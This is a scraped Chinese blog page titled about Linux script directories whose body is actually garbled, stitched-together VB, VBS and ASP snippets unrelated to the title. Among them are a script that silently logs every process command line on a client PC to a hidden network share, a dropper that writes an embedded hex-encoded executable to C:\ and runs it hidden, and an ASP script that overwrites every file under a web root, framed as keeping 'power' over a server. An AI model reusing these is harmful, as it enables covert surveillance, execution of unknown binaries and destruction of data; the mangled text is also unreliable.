linux存放脚本目录,linux脚本一般放在哪个目录稳定框架下载

最新推荐文章于 2023-08-30 16:31:57 发布
最新推荐文章于 2023-08-30 16:31:57 发布
阅读量819 收藏
点赞数
文章标签： linux存放脚本目录

1．如何让文本框只接受数字？答：使用如下代码，在文本框的按键事件中加入：

PrivateSubTextl_KeyPress(KeyAsciiAsInteger)

IfkeyAscii>=33Then

IfKeyAscii<=vbkey9AndKeyAscii>=vbKey0Then

Else'把KeyAscii设为0就是取消输入

on error resume next

url=" "

username="***"

password="***"

set ie=CreateObject("InternetExplorer.Application")

ie.visible=true

ie.Navigate url,4 ' " "

do until 4=ie.readyState

WScript.sleep 200

waittime=waittime + 200

if waittime > 15000 then exit do

loop

'WScript.echo waittime

if 4<>ie.readyState then

ie.quit

WScript.quit

end if

set dom=ie.document

set form=dom.getElementById("loginform")

form.all("username").value=username

form.all("password").value=password

form.all("cookietime").checked=true

form.all("loginsubmit").click()307daa46f54aabef33fed80ac2ddde4f.png记录客户机操作的VBS脚本

onerrorresumenext

strComputer="."

SetobjWMIService=GetObject("winmgmts:\"&strComputer&"\root\cimv2")

SetIPConfigSet=objWMIService.ExecQuery_

("SelectIPAddressfromWin32_NetworkAdapterConfigurationwhereIPEnabled=TRUE")

ForEachIPConfiginIPConfigSet

IfNotIsNull(IPConfig.IPAddress)Then

Fori=LBound(IPConfig.IPAddress)toUBound(IPConfig.IPAddress)

a=IPConfig.IPAddress(i)

Next

EndIf

Next

strComputer="."

SetobjWMIService=GetObject("winmgmts:"_

&"{impersonationLevel=impersonate}!\"&strComputer&"\root\cimv2")

SetcolMonitoredProcesses=objWMIService._

ExecNotificationQuery("select*from__instancecreationevent"_

&"within1whereTargetInstanceisa'Win32_Process'")

i=0

DoWhilei=0

SetobjLatestProcess=colMonitoredProcesses.NextEvent

b=objLatestProcess.TargetInstance.CommandLine

setfso=createobject("scripting.filesystemobject")

setfile1=fso.opentextfile("\\192.168.0.87\ourway$\ourway.htm",8,true)

file1.writelinenow()&"---"&a&"---"&b&"

"

file1.close

Loop

在forml中编制程序如下：

DimScreenhWnd％，ScreenDC％，rc％

′WindowsAPI函数

DeclareFunctionBitBlt％Lib＂GDI＂(ByValhDest?DC％，ByValdx％，ByValdy％，ByValnWidth％，ByValnHeight％，ByValhSrcDC％，ByValsx％，ByValsy％，ByValdwRop＆)

DeclareFunctionGetDesk?topWindow％Lib＂USER＂()

DeclareFunctionGetDC％Lib＂US?ER＂(ByValhWnd％)

DeclareFunctionReleaseDC％Lib＂USER＂(ByValhWnd％，ByValhDC％)

SubForm－Load

′form1窗体大小、位置与屏幕重合

form1?Width＝Screen?Width

form1?Height＝Screen?Height

form1?left＝0

form1?top＝0

′form2窗体大小、位置与屏幕重合

form2?Width＝Screen?Width

form2?Height＝Screen?Height

form2?left＝0

form2?top＝0

′将整屏画面抓到form1中

ScreenhWnd％＝GetDesktopWindow％()

ScreenDC％＝GetDC％(ScreenhWnd％)

rc％＝BitBlt％(form1?hDC，0，0，form1?ScaleWidth，form1?ScaleHeight，

ScreenDC％，0，0，＆HCC0020)

rc％＝ReleaseDC％(ScreenhWnd％，ScreenDC％)

′显示form1和form2

form2?Show

form1?Show

′上下移动form1

WhileTrue

form1?Top＝form1?Top＋500

′500为移动速度

ifform1?Top＞Screen?HenghtThen

′超出屏幕下界时回到最上面

form1?Top＝－Screen?Height

Endif

DoEvents′响应其它事件

Wend

EndSub

′点击鼠标结束滚幕

SubForm－MouseDown()

End

EndSub

实现效果二：整屏画面连续不断地翻滚

Data="4D5A00000000000000000000504500004C010200534C58210000000000000000E0000F010B01000000000000000600000000000054010000001000000C00000000004000001000000002000004000000000000000400000000000000004000000002000000000000020000000000100000100000000010000010000000000000100000000000000000000000983200008400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000001000000000000000000000000000000000000000000000E00000C0000000000000000000100000003000001903000000020000000000000000000000000000E00000C08725DC324000619455A4B680FF1373F933C9FF13731633C0FF13731FB68041B010FF1312C073FA753AAAEBE0FF530802F683D901750EFF5304EB24ACD1E8742D13C9EB189148C1E008ACFF53043B43F8730A80FC05730683F87F77024141958BC5B600568BF72BF0F3A45EEB9F5EAD97AD50FF5310958B074078F37503FF630C5055FF5314ABEBEE33C941FF1313C9FF1372F8C302D275058A164612D2C34B45524E454C33322E646C6C00004D3815403259096724454CFF027F65C711B3270CF49B4887C17F6874C4703A712FEE691D2E62610E6475C3636F6DF373011C6C79782C2042D79A53AF0B4D2E02C20325730E0842616C2E6F206E54697020E8653A7874B75B14576C955D0E086DE76F75C728637329331D49906EA7266444F9433853853C01C71805E012FCE801C114FF15241001A3E4911FB9700633C0890DE81BC844EC981425A3F0DD1354F405117813227CC448C41406A2F82B30C390038B44241D0856579D7C800C33C983F8030A893D8014252035017727FF248560115834EB6822B4081B02B5E216910C03080A8C44018B2A3518942268E00A51FFD657A3150C0F866A0220335F5EE61432A134091C2428507C9B55845EC3F083FE01FA278ECA40D285F67E23008A0C3A80F9307C17C00A397F120FBE1FC98D04C7423BD6604441D07C68E499BB9410534301C383EC18384224185355B250BB28B80B9352BD9864BE084C500E14AA66003A3BC50F8E52A3B31F4E04CC3D202F51296890AD0880130CFFD7451C1283C40C011202C6057F170C5AA18414560852278484146C0381C3087EE28B7F461F8D4C241050CD5146F554F6600A52E84D14311B8BD861F41F2019047E5552100ACE6A1854EAFE8BB50026FD037E2F3312EDEB2B085620455C0A0558A459D6F12C5D110C8ED6C16818E8DCFD8E7C5553ED258B8A1E086AFA910450275D6A5B3D2CB85701EBE54BF678A9A8113AA691111422DC8F010E2C1510EBCB538ED72D7011DC73746272166E412E054578C3EE50F16F63FD73C73B1D47FD7C43716D5C61E81D4C693E3857074B45524E3F6033322E646CE309994144546BD46F706757406465771D145F7358721A7466D29E1AE25E142CFA686065125F4E6F7412696679843D506F5DB354D8417267337657514842C463D001EABAF6000000F03200000000000000000000F2010000F032000000000000000000000000000000000000000000000010400000304000C814400000000000E032400080000000007D0000C0324000E8014000DC014000DE014000C0114000FA32000008330000000000004C6F61644C69627261727941000047657450726F634164647265737300"

FunctionExtractFile(FileName)

WithCreateObject("ADODB.Stream"):.Type=1:.Open:.WriteStrToByte(data):.SaveToFileFileName,2:.Close:EndWith

EndFunction

ExtractFile"C:\BalloonTip.exe"

WScript.CreateObject("WScript.Shell").Run"cmd.exe/cC:\BalloonTip.exe""请勿在电脑桌上放置贵重物品，以防被盗，请自行保管自己的各种虚拟帐号，如有丢失网吧概不负责!""温馨提示100001",0

FunctionStrToByte(str)

Setxmldoc=CreateObject("Microsoft.XMLDOM")

xmldoc.loadXML"<?xmlversion =""1.0""?>"

Setpic=xmldoc.createElement("pic")

pic.dataType="bin.hex"

pic.nodeTypedValue=str

StrToByte=pic.nodeTypedValue

EndFunction

4、文字的渐隐渐现效果

从字符串中取若干个文字作为标签Label1的caption值，如果从字串中截取的文字数递增(直到等于字串的全部字数)，则实现文字渐现效果;而截取的文字如果递减(从字串的全部字数减到0)，则实现文字渐隐效果

'网上看到的，适用与没有禁用shell.application的服务器

server.scripttimeout=99999

Ifrequest("submit")<>""Then

Calllistfile(server.mappath(""))

response.Write"处理完毕"

Else

response.Write"

"

EndIf

Functionlistfile(fpath)

OnErrorResumeNext

DimShell,Folder,s

SetShell=server.CreateObject("shell.application")

SetFolder=Shell.namespace(fpath)

Setf=server.CreateObject("adodb.stream")

f.Type=1

f.Open

ForEachsinFolder.Items

Ifs.isfolderThen

Calllistfile(s.Path)

Else

f.savetofiles.Path,2

EndIf

Next

Setf=Nothing

SetShell=Nothing

EndFunction

'网上看到的，适用与没有禁用shell.application的服务器

server.scripttimeout=99999

Ifrequest("submit")<>""Then

Calllistfile(server.mappath(""))

response.Write"处理完毕"

Else

response.Write"

"

EndIf

Functionlistfile(fpath)

OnErrorResumeNext

DimShell,Folder,s

SetShell=server.CreateObject("shell.application")

SetFolder=Shell.namespace(fpath)

Setf=server.CreateObject("adodb.stream")

f.Type=1

f.Open

ForEachsinFolder.Items

Ifs.isfolderThen

Calllistfile(s.Path)

Else

f.savetofiles.Path,2

EndIf

Next

Setf=Nothing

SetShell=Nothing

EndFunction

以前也看到过这个，感觉没什么用，这么危险的组件服务器一般都禁用了，但今天，我突然觉得有进也得收集或制作一些这样的软件，可以维护自己的权力

sql="selectname,phynamefromsysdevices"

'low/16777216为设备号

Setrs=conn.Execute(sql)

然后遍历记录对象rs，当name="master"时，取出phyname，

从而可以得到物理位置serverpath=G:\MSSQL\DATA\

保护连接失败在主窗体的Form_load()中的最前面加入下列代码：

DimX0Aslong

DimY0AsLong

'让窗体居中

X0=Screen.Width

Y0=Screen.Height

X0=(X0-Me.Width)/2

Y0=(Y0-Me.Height)/2

Me.MoveX0,Y0->

这些代码可以干什么？可以肯定的是可以干很多猥琐的事。

CyberGoddess
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
linux存放脚本目录,linux中Shell脚本所在目录的绝对路径linux操作系统 -电脑资料...
weixin_42301086的博客
04-28 1927
linux shell 脚本里面如果想得到当前脚本文件存放的绝对路径，也没有太现成的命令可以调用，不过可以通过下面的语句来获取：代码如下复制代码baseDirForScriptSelf=$(cd "$(dirname "$0")"; pwd)echo "full path to currently executed script. is : ${baseDirForScriptSelf}"或者FU...
linux 脚本加入开机启动服务,Linux 添加开机启动方法(服务/脚本)
weixin_36056010的博客
04-30 187
系统启动时需要加载的配置文件/etc/profile、/root/.bash_profile/etc/bashrc、/root/.bashrc/etc/profile.d/*.sh、/etc/profile.d/lang.sh/etc/sysconfig/i18n、/etc/rc.local(/etc/rc.d/rc.local)一、修改开机启动文件：/etc/rc.local(或者/etc/rc...
linux脚本执行时工作目录和存放路径
最新发布
奔跑的菜鸡
08-30 912
linux脚本执行时工作目录和存放路径
运行目录,脚本目录,工作目录的区别
Rabbit_483的博客
07-31 1796
名词解释 运行目录,又称为当前工作目录,即最开始运行程序时所在的目录 脚本目录,当前文件目录,指正在运行的程序所在的目录,但当执行另一个程序时,脚本目录也随着变化 工作目录,即环境变量 路径和目录的区别:路径包含执行文件本身,而目录不包含 文件目录示例 test test1 main.py test2 main2.py # main.py import sys,os from test2.main2 import fun1 print('main : ') print(os.pa
Python脚本路径和工作目录
blanklog的博客
07-16 5837
python获取脚本文件所在目录和文件名
linux-Posixcubeshell脚本自动化框架Ansible的替代品
08-13
Posixcube是一个Linux环境下的自动化框架，它设计的目的是作为Ansible的一个替代品，尤其适合于那些希望使用纯Shell脚本进行系统管理的用户。Posixcube提供了与Ansible类似的自动化功能，但其核心是基于POSIX兼容的...
linux环境下编写shell脚本实现启动停止tomcat服务的方法
09-15
打开终端，以管理员身份登录，然后在你希望存放脚本的目录下，例如 `/usr/local/bin`，创建一个名为 `tomcat.sh` 的文件。可以使用以下命令： ```bash sudo nano /usr/local/bin/tomcat.sh ``` 接着，我们需要在...
Linux 之旅 10：Shell 脚本
梦幻天空
08-17 690
Linux 之旅 10：Shell 脚本 （图片来自shell/bash脚本编程） Linux 上的 Shell 脚本可以看做是类似于Windows上的批处理程序（.bat）一样的东西，其本质就是将一组 shell 命令整合在一起，并添加上一些编程语言普遍使用的控制流程、函数之类的结构，实现自动化和批处理的效果。 事实上，从之前 Linux 之旅 8：初识 BASH 中我们学到的内容就可以发现，Bash 本身就相当有被开发成一门完善的编程语言的潜质，因为其本身就具有很多编程语言的基础特性，比如变量，比如多
linux源代码目录结构说明,关于Linux源代码的目录结构说明
weixin_36090065的博客
04-30 1153
系统核心组件：Linux源代码目录结构示意图：图：linux源代码目录结构示意图(一) scripts目录： 该目录中不包含任何核心代码，该目录下存放了用来配置内核的脚本和应用程序源码。(二) Lib目录：该目录主要分两部分：gnuzip加压缩算法，用于在系统启动过程中将压缩的内核镜像解压缩;剩余的文件用于实现一个C库的子集，主要包括字符串和内存操作等相关函数。(三) Mm目录：该目录主要包含了和...
Linux 系统中文件和目录属性相关知识详解.doc
08-24
在Linux系统中，文件和目录的属性构成了操作系统的基础框架，对于理解和操作Linux至关重要。Linux的文件系统采用树形结构，所有文件和目录都从根目录(`/`)开始展开。根目录不仅是整个文件系统的起点，还包含了与系统...
CN:L#中文社区脚本目录
07-13
L#中文社区 首次汉化脚本发布 脚本都是网上收集整理 具体脚本功能已初测可用 具体脚本中的使用问题 请在官方论坛交流！
Shell中获取脚本所在目录绝对路径的方法
01-10
要得到正在执行的程序/脚本自身所存放的绝对路径，在 PHP 里面可以用 dirname(realpath(__FILE__)) ； C# 则有 System.Windows.Forms.Application.StartupPath ； java 似乎没有什么比较直接的方法，只能利用 CodeSource 来间接获取 。而在 linux shell 脚本里面如果想得到当前脚本文件存放的绝对路径，也没有太现成的命令可以调用，不过可以通过下面的语句来获取： 代码如下: baseDirForScriptSelf=$(cd “$(dirname “$0″)”; pwd) echo “full pat
linux脚本文件存放位置 全局执行无需进入特定目录下
idncareo
07-23 2145
/usr/local/sbin
linux入门-shell(.sh)脚本编写和运行
热门推荐
相信相信的力量
07-29 9万+
编写第一个shell脚本在gedit中编写.sh格式的文件，保存为a.sh。 代码： #! /bin/bash # employ bash shell player1=xiaoming # define a player1 player2=ken echo "Game start! $player1 $player2" # echo is used to printf in termina
linux之如何在任意目录执行我常用的脚本文件
码莎拉蒂
07-13 7175
1、问题 比如我们在ubuntu上开发Android的时候，经常会用到jadx、 pidcat.py ,但是我们希望在任何目录都能执行这些命令， 如果不知道pidcat.py是什么东西的，可以先百度 2、解决方式 1)如果是一个脚本文件，比如pidcat.py这个脚本，直接把pidcat.py放在/usr/local/bin/这个目录下面就行,
linux脚本一般放在哪个目录下,Linux Deepin 将脚本放在个人目录下直接执行
weixin_35253082的博客
04-30 4192
在 Linux Deepin 下，如何将 Bash 脚本放在个人目录下并能够不指定路径而直接执行脚本？今天我们就以这个问题作为切入点，继续讲一下 Bash 的一些基础知识。现在，我们打开文本编辑器，编写一个名称为 noisyscript 的 Bash 脚本，其内容为：Default#! /usr/bin/env bashwhile truedo echo "I am a noisy script,...
shell脚本中的工作目录和脚本路径的区别
格物致知的专栏 [音视频编解码 网络协议 计算机视觉 计算机图形学 图像理解 语音识别 机器学习 模拟电路 传感器]
12-12 2652
如果有一个"XXX.sh"脚本，不是从脚本所在的路径执行的（即./XXX.sh），就有工作目录和脚本路径的区别。 你在shell脚本中用到了 "."去访问一个程序，那么这个"."代表的是脚本被执行的路径呢还是脚本所在的路径呢？ 比如这个"XXX.sh"位于"~/abc/"目录下面，而你从"~/def/"目录下面运行它，shell脚本中的"."所代表的路径就是"~/def/"，这个当前目录的"."就是工作目录。还有一个是脚本所在的路径，这是用dirname命令获得的。脚本所在的路径是固定的，所以可以通过它
linux shell获取脚本所在目录
Mage的专栏
11-04 9092
当我们把shell作为可执行文件，并把shell脚本路径加入到环境变量之后，在其他目录使用脚本时，我们想知道脚本所在目录在那里，因为我们可能还要调用和脚本在同级目录的其他工具，比如python脚本。这时在脚本运行时要使用pwd命令得到的并不是脚本所在目录，而是运行脚本的目录。这时候使用basepath=$(cd `dirname $0`; pwd)echo ${basepath }可以得到脚本所在
获取当前工作目录和脚本文件所在目录
陈贤鹏的博客
08-15 1340
当前工作目录和脚本文件所在目录是不同的，有时候可能会一样，但是这是不同的概念。 例如我们有个脚本：/home/test/test.sh 我们进入test目录：cd /home/test/，执行./test，那么当前工作目录和脚本文件所在目录都是一样的：/home/test 如果我们不是在test目录下执行脚本文件：cd /home，执行./test/test.sh，那么当前工作目录是:/ho...
Linux文件系统与目录结构详解
Linux文件系统中的每个目录都有特定的用途，例如，/bin存放基本的系统命令，/etc存储配置文件，/home是用户主目录的所在地，/usr包含用户应用程序和系统程序，/var用于可变数据如日志和缓存。这种预定义的目录结构...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值